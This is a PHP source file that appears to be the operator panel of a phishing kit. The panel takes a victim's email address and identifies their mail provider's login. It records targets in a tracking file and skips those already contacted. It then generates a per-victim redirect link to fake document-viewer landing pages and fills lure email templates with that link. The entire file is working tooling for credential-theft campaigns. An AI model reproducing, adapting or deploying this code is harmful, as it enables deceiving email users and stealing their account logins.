<?php
error_reporting(0);

include 'settings.php';

if (isset($_POST['submit'])) {
	$mls = $_POST['mail'];
	$funcs->emadr = $funcs->base64url_encode($_POST['mail']);
	$funcs->landing = $_POST['landing'];
	$funcs->msg = $_POST['message'];
	if(strlen($mls) == 0 OR !strstr($mls, '@')) {
		echo '<div style="font-size:20px; text-transform:uppercase; color:red; font-weight:bold; background-color:yellow; padding:2px; float:left;">Invalid Email</div><br><hr>';
		goto error;
	}
	$mls = strtolower($mls);
	$result = $funcs->getMailHost($mls);
	// echo '<pre>X ' . print_r($funcs->mx_add, true) . '</pre>';
	echo '<div style="font-size:20px; text-transform:uppercase; color:red; font-weight:bold; background-color:yellow; padding:2px;">Login:<br>'.$result.'</div><br><hr>';
	// File path
	$file_path = $funcs->dir_path . "/em.txt";
	// Open the file to get existing content
	$current = file_get_contents($file_path);
	if (strpos($current, $mls) !== false) {
		echo '<div style="font-size:20px; text-transform:uppercase; color:red; font-weight:bold; background-color:yellow; padding:2px;">Already SENT to '. $_POST['mail'] .'! Next!</div><br><hr>';
	} else {
		// Append a new person to the file
		$fp = fopen($file_path, 'a');
		fwrite($fp, $mls . PHP_EOL);
		fclose($fp);
	}
	$genlink = $url_redi . $funcs->base64url_encode($funcs->add) . "/".$funcs->landing."/".$funcs->emadr;
	// echo '<pre>url_redi<br>' . print_r($url_redi, true) . '</pre>';
	// echo '<pre>add<br>' . print_r($funcs->base64url_encode($funcs->add), true) . '</pre>';
	// echo '<pre>genlink<br>' . print_r($genlink, true) . '</pre>';
}
error:
?>
<html>
<head>
	<title>Genereaza link</title>
	<style>
	input, select {
		padding:5px;
		margin-bottom:8px;
		width:400px;
	}
	</style>
</head>
<body>
	<form method="POST">
		<strong>Mail:</strong><br>
		<input type="text" name="mail"><br>
		<strong>Landing:</strong><br>
		<select name="landing">
			<option value="attach-viewer-main" <?php if ($funcs->landing == 'attach-viewer-main') { echo 'selected'; } ?>>attach-viewer-main</option>
			<option value="map-viewer-main" <?php if ($funcs->landing == 'map-viewer-main') { echo 'selected'; } ?>>map-viewer-main</option>
			<option value="attach-file-list-1" <?php if ($funcs->landing == 'attach-file-list-1') { echo 'selected'; } ?>>attach-file-list-1</option>
			<option value="attach-file-list-2" <?php if ($funcs->landing == 'attach-file-list-2') { echo 'selected'; } ?>>attach-file-list-2</option>
			<option value="attach-file-list-3" <?php if ($funcs->landing == 'attach-file-list-3') { echo 'selected'; } ?>>attach-file-list-3</option>
			<option value="attach-file-list-4" <?php if ($funcs->landing == 'attach-file-list-4') { echo 'selected'; } ?>>attach-file-list-4</option>
			<option value="attach-file-list-5" <?php if ($funcs->landing == 'attach-file-list-5') { echo 'selected'; } ?>>attach-file-list-5</option>
			<option value="following-url" <?php if ($funcs->landing == 'following-url') { echo 'selected'; } ?>>following-url</option>
			<option value="viewer-file-pdf" <?php if ($funcs->landing == 'viewer-file-pdf') { echo 'selected'; } ?>>viewer-file-pdf</option>
		</select><br>
		<strong>Message:</strong><br>
		<select name="message">
			<option value="msg1" <?php if ($funcs->msg == 'msg1') { echo 'selected'; } ?>>msg1</option>
			<option value="msg2" <?php if ($funcs->msg == 'msg2') { echo 'selected'; } ?>>msg2</option>
			<option value="msg3" <?php if ($funcs->msg == 'msg3') { echo 'selected'; } ?>>msg3</option>
			<option value="msg4" <?php if ($funcs->msg == 'msg4') { echo 'selected'; } ?>>msg4</option>
			<option value="msg5" <?php if ($funcs->msg == 'msg5') { echo 'selected'; } ?>>msg5</option>
			<option value="msg6" <?php if ($funcs->msg == 'msg6') { echo 'selected'; } ?>>msg6</option>
			<option value="msg7" <?php if ($funcs->msg == 'msg7') { echo 'selected'; } ?>>msg7</option>
			<option value="msg8" <?php if ($funcs->msg == 'msg8') { echo 'selected'; } ?>>msg8</option>
			<option value="msg9" <?php if ($funcs->msg == 'msg9') { echo 'selected'; } ?>>msg9</option>
			<option value="msg10" <?php if ($funcs->msg == 'msg10') { echo 'selected'; } ?>>msg10</option>
			<option value="msg11" <?php if ($funcs->msg == 'msg11') { echo 'selected'; } ?>>msg11</option>
			<option value="msg12" <?php if ($funcs->msg == 'msg12') { echo 'selected'; } ?>>msg12</option>
			<option value="msg13" <?php if ($funcs->msg == 'msg13') { echo 'selected'; } ?>>msg13</option>
		</select><br>
		<!-- <input type="text" name="landing" value="attach-viewer-main"><br> -->
		<strong>New link:</strong><br>
		<input type="text" size="500" name="link" value="<?php echo $url_redi;?>"><br>
		<br>
		<input type="submit" name="submit" value="Generate">
	</form>
	<?php
	if(isset($_POST['submit'])) {
		$msg = file_get_contents('tpl/' . $funcs->msg . '.tpl');
		$msg = str_replace('{gen_link}', $genlink, $msg);
		$msg = str_replace('{mls_adr}', $mls, $msg);
		print_r($msg);
	}
	?>
	<hr><br>
	Link to send:<br>

	<input onClick="this.select();" type="text" name="genlink" value="<?php echo $genlink; ?>" />
</body>
</html>
